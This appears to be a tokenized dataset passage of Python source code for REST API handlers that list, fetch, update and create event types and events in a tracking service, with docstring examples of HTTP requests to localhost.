"]_", "[_", "\"", "id", "\"_", "]_", ")_", ",_", "json_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "created_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "event", "Type", "s", "\"_", ":_", "created", "\\u", "types_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Event", "Type", "s", "\"_", ":_", "len_", "(_", "event", "\\u", "types_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENT", "TYPE", ":", " ", "Creat", "ed", " ", "{}\"_", "._", "format_", "(_", "\",", " ", "\"_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"{}", " ", "{}\"_", "._", "format_", "(_", "event", "\\u", "type_", "[_", "'", "category", "'_", "]_", ",_", "event", "\\u", "type_", "[_", "'", "state", "'_", "]_", ")_", "for_", "event", "\\u", "type_", "in_", "event", "\\u", "types_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Event", "Type", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "all", " ", "Event", "Type", "s", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "event", "types", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Event", "Type", "s", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "category", "\":", " ", "\"", "foo", "\",", "\\", "10", ";", " ", " ", "\"", "state", "\":", " ", "\"", "bar", "\",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Foo", " ", "bar", " ", "all", " ", "the", " ", "way", "\",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "event", "types", "/", "1", "\"", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "category", ":", " ", "(*", "option", "al", "*)", " ", "Filter", " ", "Event", "Type", "s", " ", "by", " ", "category", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "state", ":", " ", "(*", "option", "al", "*)", " ", "Filter", " ", "Event", "Type", "s", " ", "by", " ", "state", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "to", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "boolean", " ", "startin", "g", "Type", "s", ":", " ", "(*", "option", "al", "*)", " ", "Return", " ", "the", " ", "event", " ", "types", " ", "tha", "t", " ", "can", " ", "create", " ", "non", "-", "intermediate", " ", "Labo", "rs", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "category_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "category", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "state", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "startin", "g", "\\u", "types_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "startin", "g", "Type", "s", "\"_", ",_", "False_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "types_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "category_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "types_", "=_", "event", "\\u", "types_", "._", "filter", "\\u", "by_", "(_", "category_", "=_", "category_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "state_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "types_", "=_", "event", "\\u", "types_", "._", "filter", "\\u", "by_", "(_", "state_", "=_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "startin", "g", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "startin", "g", "\\u", "event", "\\u", "types_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Fat", "e_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "filter_", "(_", "Fat", "e_", "._", "follow", "s", "\\u", "id_", "==_", "None_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "group", "\\u", "by_", "(_", "Fat", "e_", "._", "creati", "on", "\\u", "type", "\\u", "id_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event", "\\u", "types_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "types_", "._", "filter_", "(_", "Event", "Type_", "._", "id_", "._", "in\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "e\\u", "type_", "._", "creati", "on", "\\u", "type", "\\u", "id_", "for_", "e\\u", "type_", "in_", "startin", "g", "\\u", "event", "\\u", "types_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event", "\\u", "types_", ",_", "total_", "=_", "self_", "._", "paginate", "\\u", "query_", "(_", "event", "\\u", "types_", ",_", "offset_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "limit", "\"_", ":_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "offset", "\"_", ":_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Event", "Type", "s", "\"_", ":_", "total_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "event", "Type", "s", "\"_", ":_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "type_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "event", "\\u", "type_", "in_", "event", "\\u", "types_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Event", "Type", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Event", "Type", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "a", " ", "specific", " ", "Event", "Type", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "event", "types", "/", "1", "/", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "category", "\":", " ", "\"", "system", "-", "rebo", "ot", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "state", "\":", " ", "\"", "require", "d", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "system", " ", "require", "s", " ", "a", " ", "rebo", "ot", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "events", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "auto", "Creat", "es", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "auto", "Complete", "s", "\":", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "0", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Event", "Type", " ", "to", " ", "retrieve", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "int", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "events", ",", " ", "fat", "es", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "of", " ", "child", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "child", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Event", "Type", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event", "\\u", "type_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Event", "Type_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "event", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Event", "Type", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "event", "\\u", "type_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "[_", "\"", "limit", "\"_", "]_", "=_", "limit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "[_", "\"", "offset", "\"_", "]_", "=_", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "will", " ", "perform", " ", "expansion", " ", "of", " ", "events", " ", "here", " ", "b", "/", "c", " ", "we", " ", "want", " ", "to", " ", "apply_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "s", " ", "and", " ", "offsets_", "\\u\\u\\uNL\\u\\u\\u_", "events_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "event_", "in_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "type_", "._", "get", "\\u", "late", "st", "\\u", "events_", "(_", ")_", "._", "limit_", "(_", "limit_", ")_", "._", "offset_", "(_", "offset_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "from", "\\u", "self_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "Event_", "._", "timestamp_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "events", "\"_", "in_", "expand_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ":_", "event_", "._", "id_", ",_", "\"", "href", "\"_", ":_", "event_", "._", "href_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "[_", "\"", "events", "\"_", "]_", "=_", "events_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Event", "Type", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "put_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Update", " ", "an", " ", "Event", "Type", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "PU", "T", " ", "/", "api", "/", "v1", "/", "event", "types", "/", "1", "/", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "New", " ", "description", "\",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "event", "types", "/", "1", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "category", "\":", " ", "\"", "system", "-", "rebo", "ot", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "state", "\":", " ", "\"", "require", "d", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "New", " ", "description", "\",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Event", "Type", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "update", "d", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "string", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "description", ":", " ", "The", " ", "new", " ", "description", " ", "of", " ", "the", " ", "Event", "Type", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "403", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", " ", "insuf", "ficient", " ", "permissi", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Event", "Type", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENT", "TYPE", ":", " ", "Up", "dati", "ng", " ", "{}\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "type_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Event", "Type_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "event", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Event", "Type", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "description_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "description", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "type_", "._", "update_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "description_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "str_", "(_", "err_", "._", "orig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "event", "\\u", "type_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENT", "TYPE", ":", " ", "Update", "d", " ", "{}", " ", "with", " ", "desc", " ", "{}\"_", "._", "format_", "(_", "id_", ",_", "description_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Event", "Type", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Delete", " ", "an", " ", "Event", "Type", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", "*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Event", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Event", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Creat", "e", " ", "an", " ", "Event", " ", "entry", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "events", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", 